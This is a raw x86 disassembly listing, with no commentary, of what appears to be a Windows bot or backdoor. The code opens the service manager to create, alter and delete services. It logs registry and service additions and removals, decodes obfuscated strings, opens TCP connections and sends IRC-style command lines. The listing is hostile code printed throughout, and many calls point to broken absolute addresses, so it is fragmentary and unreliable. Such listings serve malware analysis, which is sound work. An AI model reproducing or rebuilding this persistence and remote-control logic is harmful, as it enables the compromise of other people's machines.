mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40ED70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EF90 proc near ; CODE XREF: sub_401942j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 28E09F4h
nop
mov edi, eax
test edi, edi
jnz short loc_40EFB7
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push edi
call near ptr 2880791h
nop
mov esi, eax
test esi, esi
jnz short loc_40EFE4
push edi
call near ptr 28F0000h
nop
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40EFE4: ; CODE XREF: sub_40EF90+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
nop
call near ptr 28E05A9h
push esi
nop
call near ptr 28E0829h
push esi
mov esi, dword_50F74C
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40EF90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F030 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 28E09F4h
nop
mov esi, eax
test esi, esi
jnz short loc_40F04F
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F04F: ; CODE XREF: sub_40F030+17j
mov ecx, [esp+4+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push esi
nop
call near ptr 2880791h
test eax, eax
jnz short loc_40F076
push esi
nop
call near ptr 28F0000h
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F076: ; CODE XREF: sub_40F030+37j
push edi
mov edi, dword_50F74C
push eax
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
retn 4
sub_40F030 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F0B0 proc near ; CODE XREF: sub_401FDCj
arg_0 = dword ptr 4
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 28E09F4h
mov edi, eax
test edi, edi
jnz short loc_40F0D1
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F0D1: ; CODE XREF: sub_40F0B0+18j
mov ecx, [esp+8+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push edi
call near ptr 2880791h
nop
mov esi, eax
test esi, esi
jnz short loc_40F0FB
push edi
nop
call near ptr 28F0000h
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj
push 0
push 0
push esi
nop
call near ptr 28D0C9Ch
push esi
mov esi, dword_50F74C
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
retn 4
sub_40F0B0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40F140: ; CODE XREF: ___:loc_4014A1j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_439048
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F23A
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011EA
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_401726
test al, al
jz short loc_40F206
lea ecx, [esp+0Ch]
call sub_4017E4
push eax
lea ecx, [esp+28h]
call sub_4017E4
push eax
push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
loc_40F206: ; CODE XREF: ___:0040F1C7j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F23A: ; CODE XREF: ___:0040F176j
lea ecx, [edi+47h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F2D9
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
push ecx
mov ecx, edi
call sub_401447
test al, al
jz short loc_40F2B2
lea ecx, [esp+24h]
call sub_4017E4
push eax
push offset aRegDelS_ ; "reg(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_40F2B2: ; CODE XREF: ___:0040F27Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F2D9: ; CODE XREF: ___:0040F24Cj
lea ecx, [edi+75h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F3EF
push 1
push offset asc_443600 ; " "
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011EA
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_402153
test al, al
jz short loc_40F3AD
lea ecx, [esp+24h]
call sub_4017E4
push eax
lea ecx, [esp+10h]
call sub_4017E4
push eax
lea ecx, [esp+44h]
call sub_4017E4
push eax
push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 20h
loc_40F3AD: ; CODE XREF: ___:0040F364j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F3EF: ; CODE XREF: ___:0040F2EBj
lea ecx, [edi+0A3h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F491
push 1
push offset asc_443600 ; " "
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_401942
test al, al
jz short loc_40F46A
lea ecx, [esp+54h]
call sub_4017E4
push eax
push offset aServDelS_ ; "serv(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_40F46A: ; CODE XREF: ___:0040F435j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F491: ; CODE XREF: ___:0040F404j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F590 proc near ; CODE XREF: sub_401D02j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
nop
call near ptr 77C2C407h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40F590 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F600 proc near ; CODE XREF: sub_401695j
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40F600
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401E6A
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_4011B3
lea ebp, [esi+28h]
mov ecx, ebp
call sub_401424
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_401424
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_401749
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_401749
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_401749
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_401749
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_401749
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_401749
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_401749
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_401749
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_401749
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_401749
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_401749
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_401749
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_401749
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_401749
lea eax, [esp+3Ch+var_29]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_401721
mov dword ptr [edi], offset off_43E034
mov bl, 11h
xor edi, edi
push offset byte_446F60
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_43E028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_4015D7
nop
call near ptr 27D091Eh
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_4017E4
push eax
push offset dword_4470EC
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4019B5
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_4017E4
push eax
push offset dword_4470F0
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_4017E4
push eax
push offset dword_4470F4
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4019B5
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_4017E4
push eax
push offset dword_4470F8
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4019B5
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_4017E4
push eax
push offset dword_4470FC
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_4017E4
push eax
push offset dword_447100
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_4017E4
push eax
push offset dword_447104
call sub_401D02
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_4017E4
push eax
push offset dword_447108
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Dh
push 2Dh
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_4017E4
push eax
push offset dword_44710C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_4017E4
push eax
push offset dword_447110
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_4017E4
push eax
push offset dword_447114
call sub_401D02
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_4017E4
push eax
push offset dword_447118
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_4017E4
push eax
push offset dword_44711C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_4017E4
push eax
push offset dword_447120
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_4017E4
push eax
push offset dword_447124
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_4017E4
push eax
push offset dword_447128
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_4017E4
push eax
push offset dword_44712C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_4017E4
push eax
push offset dword_447130
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40F600 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4013C0
sub_40FD70 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_40FD88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40FD88: ; CODE XREF: ___:0040FD7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FDA0 proc near ; CODE XREF: sub_4013C0j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40FDA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E028
mov dword ptr [esi+11h], offset off_43E034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401B54
sub_40FDA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+2ACh]
mov byte ptr [esp+10h], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+10h], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+10h], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+10h], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+10h], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+10h], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+10h], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+10h], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+10h], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+10h], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+10h], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+10h], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+10h], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+10h], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+28h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40FF60 proc near ; CODE XREF: sub_40212Bj
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_4395D3
push eax
mov eax, 2478h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_401424
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_411330
loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj
mov al, byte_4E6E74
mov edi, dword_50F8A4
cmp al, bl
jz loc_411330
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_40FFCA
cmp dword ptr [ebp+1Ch], 5
jg short loc_40FFD4
cmp eax, ebx
jz loc_41010E
loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_41010E
loc_40FFD4: ; CODE XREF: sub_40FF60+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_40FFE9
push eax
nop
call near ptr 71AB9639h
loc_40FFE9: ; CODE XREF: sub_40FF60+80j
mov ecx, offset word_448C8E
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_401537
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_401974
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_410019
mov [ebp+20h], ebx
loc_410019: ; CODE XREF: sub_40FF60+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_40146A
mov ecx, [eax]
add ecx, 16Dh
push ecx
push offset byte_44741D
mov ecx, offset word_448D06
call sub_401F32
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_40146A
mov eax, [eax]
mov ecx, offset word_448D06
add eax, 1B6h
push eax
push offset dword_4473D4
call sub_401F32
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_40146A
mov edx, [eax]
mov ecx, offset word_448D06
push edx
push offset dword_4472B0
call sub_401F32
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_40146A
mov ecx, [eax]
add ecx, 124h
push ecx
push offset word_447342
mov ecx, offset word_448D06
call sub_401F32
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_40146A
mov eax, [eax]
mov ecx, offset word_448D06
add eax, 0DBh
push eax
push offset byte_4472F9
call sub_401F32
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_40146A
mov edx, [eax]
mov ecx, offset word_448D06
add edx, 92h
push edx
push offset byte_44738B
call sub_401F32
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_40146A
mov ecx, [eax]
add ecx, 1FFh
push ecx
push offset byte_4474AF
mov ecx, offset word_448D06
call sub_401F32
call edi
mov [ebp+24h], eax
loc_41010E: ; CODE XREF: sub_40FF60+64j
; sub_40FF60+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_410138
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
push 7D0h
mov [ebp+18h], eax
mov [ebp+15h], bl
nop
call near ptr 2820000h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410138: ; CODE XREF: sub_40FF60+1B4j
cmp [ebp+15h], bl
jnz loc_4102C8
mov ax, word_44735C
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
call near ptr 71AB2B66h
nop
mov ecx, offset byte_4472F9
mov [esp+24h+arg_1E], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
mov [esp+24h+arg_20], eax
call edi
mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_4101B8
push 2710h
nop
call near ptr 2820000h
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4101B8: ; CODE XREF: sub_40FF60+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
mov [esp+3Ch+arg_20], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
call near ptr byte_5EA1BD
nop
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_4015D7
lea ecx, [esp+3Ch+arg_408]
push ecx
nop
call near ptr 71AB2BF4h
push offset byte_446F60
mov ecx, offset byte_44738B
mov [ebp+52h], eax
call sub_4012EE
test eax, eax
jz short loc_410287
mov ecx, offset byte_44738B
call sub_4017E4
mov edx, dword_44710C
push eax
push edx
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
loc_410287: ; CODE XREF: sub_40FF60+305j
mov ecx, offset byte_4E6E75
call sub_4017E4
push eax
